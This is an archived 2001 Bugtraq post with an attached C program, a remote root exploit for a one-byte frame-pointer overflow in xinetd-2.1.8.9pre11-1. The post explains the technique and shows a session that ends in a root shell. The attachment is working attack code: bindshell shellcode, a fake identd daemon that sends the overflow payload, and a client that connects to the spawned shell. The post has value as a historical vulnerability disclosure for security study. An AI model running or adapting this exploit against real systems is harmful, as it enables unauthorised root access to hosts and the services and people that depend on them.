6686519 2001-06-29 14:31 +0200 /71 rader/ qitest1 <qitest1@cercaband.com> Sänt av: joel@lysator.liu.se Importerad: 2001-06-29 21:25 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <17695> Ärende: Exploit for xinetd-2.1.8.9pre11-1 ------------------------------------------------------------ Hi bugtraq. I read the zen-parse's advisory about the 'potential' overflow, as he said, in xinetd-2.1.8.9pre11-1 and I tried to work around it. First of all we have to remember that the bof occurs _only_ if, in the configuration file of the daemon, there is an entry like this: log_on_success = HOST PID USERID this option can be set as a default for all the services or just for some of them. 'USERID' means that xinetd will do an auth request to the identd daemon of the remote client host using a service provided by xinetd, as described in the rfc 1413. This option is not present in the default installation from the tar.gz release. Of course I wrote a fake_identd ready to answer to xinetd auth requests for exploiting this vuln. I found that the ebp register can be overwritten for a maximum of 2 bytes, 1 byte of overflow and 1 byte of \x00, termination string. This happens in particular conditions, that is only if our source port is 1 and the service we want to connect is at a port such as 23. If we try to overflow with more bytes, the string will result too long and the bof won't occur at all. Surely it is quite hard to exploit. But an one-byte overflow is enough for us to get a root shell. klog explained this kind of exploitation some time ago. He wrote that, at the end of the bugged function, "%ebp is moved into %esp, which is incremented by 4 since %ebp is poped from the stack just before the RET.", and that "When the processor returns from a procedure, it only pops the first word on the stack, guessing it is the original %eip. But if we alter %esp, we can make the processor pop any value from the stack as if it was %eip, and thus changing the execution flow." Exactly what we'll do. The lsb of the ebp will be set to 0x00 through the overflow. So at that addr increased by 0x04 we will write a pointer pointing to the nop padding before the shellcode, which will be executed, without crashing the daemon. Fortunately, we are able to write to that memory location, as it is part of the buffer to overflow. Of course an executable stack is needed. On my Red Hat 6.2 box: [root@localhost exploit]# ./xinetd0x69 -h localhost xinetd-2.1.8.9pre11-1 exploit by qitest1 +Host: localhost as: Red Hat 6.2 with xinetd-2.1.8.9pre11-1 +Using: retaddr = 0xbffff44b and sc_addr_pos = 985... ok +Starting fake_identd... fake_identd forking into background +Causing an auth request to our fake_identd done +Enjoy your root shell... 0x69 =) uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Linux localhost 2.2.18 #3 SMP Fri Mar 16 22:20:42 CET 2001 i586 unknown bye -- /* qitest1 http://qitest1.cjb.net * * ``Ut tensio, sic vis. 69 tecum sis.'' * * main(){if(unsatisfied == 69) try_come(in);} */ (6686519) /qitest1 <qitest1@cercaband.com>/(Ombruten) Bilaga (text/plain) i text 6686520 6686520 2001-06-29 14:31 +0200 /360 rader/ qitest1 <qitest1@cercaband.com> Bilagans filnamn: "xinetd0x69.c" Importerad: 2001-06-29 21:25 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <17696> Bilaga (text/plain) till text 6686519 Ärende: Bilaga (xinetd0x69.c) till: Exploit for xinetd-2.1.8.9pre11-1 ------------------------------------------------------------ /* * xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit * by qitest1 28/06/2001 * * This is a proof of concept code for the exploitation of the bof * present in xinetd-2.1.8.9pre11-1. Read the advisories first. The * code uses a single-byte corruption of the fp, as explained by klog. * sc_addr_pos is the position, from the beginning of the writable * area, where a pointer to the nop will be placed. * * For ethical reasons just one hardcoded target type will be provided. * Its values work only against one of the bugged 'pre' releases of * xinetd, installed on my Red Hat 6.2 box. Not for kiddies. * * Greets: zen-parse, for having found this bug * klog, for his paper about the fp corruption * all my friends on the internet =) * * 100% pure 0x69. =) */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <netdb.h> #define MY_PORT 1 #define THEIR_PORT 23 #define IDENTD_PORT 113 #define FIRST_PAD 1009 struct targ { int def; char *descr; unsigned long int retaddr; int sc_addr_pos; }; struct targ target[]= { {0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985}, {69, NULL, 0} }; char shellcode[] = /* Taeho Oh bindshell code at port 30464 */ "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0" "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06" "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89" "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31" "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80" "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04" "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd" "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80" "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f" "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"; char zbuf[1024], host[512]; int sel = 0, offset = 0; int sockami2(char *host, int my_port, int their_port); void fake_identd(void); void l33t_buf(void); static void keep_clz(void) __attribute__ ((destructor)); void shellami(int sock); void usage(char *progname); int main(int argc, char **argv) { int sock, cnt; printf("\n xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n"); if(getuid()) { fprintf(stderr, "Must be root babe\n"); exit(1); } if(argc == 1) usage(argv[0]); host[0] = 0; while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF) { switch(cnt) { case 'h': strncpy(host, optarg, sizeof(host)); host[sizeof(host)] = '\x00'; break; case 't': sel = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 's': target[sel].sc_addr_pos = atoi(optarg); break; default: usage(argv[0]); break; } } if(host[0] == 0) usage(argv[0]); printf("+Host: %s\n as: %s\n", host, target[sel].descr); target[sel].retaddr += offset; printf("+Using: retaddr = %p and sc_addr_pos = %d...\n ok\n", target[sel].retaddr, target[sel].sc_addr_pos); printf("+Starting fake_identd...\n"); fake_identd(); return; } int sockami2(char *host, int my_port, int their_port) { struct sockaddr_in address; struct sockaddr_in my_addr; struct hostent *hp; int sock; sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == -1) { perror("socket()"); exit(-1); } hp = gethostbyname(host); if(hp == NULL) { perror("gethostbyname()"); exit(-1); } my_addr.sin_family = AF_INET; my_addr.sin_port = htons(my_port); my_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(my_addr.sin_zero), 8); if(bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind()"); exit(1); } memset(&address, 0, sizeof(address)); memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons(their_port); if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1) { perror("connect()"); exit(-1); } return(sock); } void fake_identd(void) { int sockfd, new_fd, sin_size, rem_port, loc_port, i; char rbuf[1024], sbuf[1024], cif[6], *ptr; struct sockaddr_in my_addr; struct sockaddr_in their_addr; printf(" fake_identd forking into background\n"); if (!fork()) { if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(1); } my_addr.sin_family = AF_INET; my_addr.sin_port = htons(IDENTD_PORT); my_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(my_addr.sin_zero), 8); if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind()"); exit(1); } if(listen(sockfd, 1) == -1) { perror("listen()"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) { perror("accept()"); continue; } /* Fake session */ memset(rbuf, 0, sizeof(rbuf)); recv(new_fd, rbuf, sizeof(rbuf), 0); /* Parsing of query */ ptr = rbuf; i = 0; while(*ptr != ',') { cif[i] = *ptr; *ptr++; i ++; } sscanf(cif, "%d", &rem_port); memset(cif, 0, sizeof(cif)); *ptr++; i = 0; while(*ptr != ' ') { cif[i] = *ptr; *ptr++; i++; } sscanf(cif, "%d", &loc_port); l33t_buf(); memset(sbuf, 0, sizeof(sbuf)); sprintf(sbuf, "%d,%d:USERID:%s\r\n", rem_port, loc_port, zbuf); send(new_fd, sbuf, strlen(sbuf), 0); memset(rbuf, 0, sizeof(rbuf)); recv(new_fd, rbuf, sizeof(rbuf), 0); /* End */ } } return; } void l33t_buf(void) { int i, n = 0; memset(zbuf, 0, sizeof(zbuf)); for(i = 0; i < FIRST_PAD; i++) zbuf[i] = '\x69'; memset(zbuf, 0x90, target[sel].sc_addr_pos - 1); for(i = target[sel].sc_addr_pos - strlen(shellcode); i < target[sel].sc_addr_pos; i++) zbuf[i] = shellcode[n++]; zbuf[target[sel].sc_addr_pos + 0] = (u_char) (target[sel].retaddr & 0x000000ff); zbuf[target[sel].sc_addr_pos + 1] = (u_char)((target[sel].retaddr & 0x0000ff00) >> 8); zbuf[target[sel].sc_addr_pos + 2] = (u_char)((target[sel].retaddr & 0x00ff0000) >> 16); zbuf[target[sel].sc_addr_pos + 3] = (u_char)((target[sel].retaddr & 0xff000000) >> 24); return; } void keep_clz(void) { int sock; if(host[0] != 0) { printf("+Causing an auth request to our fake_identd\n"); sock = sockami2(host, MY_PORT, THEIR_PORT); printf(" done\n"); close(sock); printf("+Enjoy your root shell...\n 0x69 =)\n"); sleep(1); sock = sockami2(host, 6969, 30464); shellami(sock); } } void shellami(int sock) { int n; char recvbuf[1024], *cmd = "id; uname -a\n"; fd_set rset; send(sock, cmd, strlen(cmd), 0); while (1) { FD_ZERO(&rset); FD_SET(sock, &rset); FD_SET(STDIN_FILENO, &rset); select(sock+1, &rset, NULL, NULL, NULL); if(FD_ISSET(sock, &rset)) { n = read(sock, recvbuf, 1024); if (n <= 0) { printf("Connection closed by foreign host.\n"); exit(0); } recvbuf[n] = 0; printf("%s", recvbuf); } if (FD_ISSET(STDIN_FILENO, &rset)) { n = read(STDIN_FILENO, recvbuf, 1024); if (n > 0) { recvbuf[n] = 0; write(sock, recvbuf, n); } } } return; } void usage(char *progname) { int i = 0; printf("Usage: %s [options]\n", progname); printf("Options:\n" " -h hostname\n" " -t target\n" " -o offset\n" " -s sc_addr_pos\n" "Available targets:\n"); while(target[i].def != 69) { printf(" %d) %s\n", target[i].def, target[i].descr); i++; } exit(1); } (6686520) /qitest1 <qitest1@cercaband.com>/---------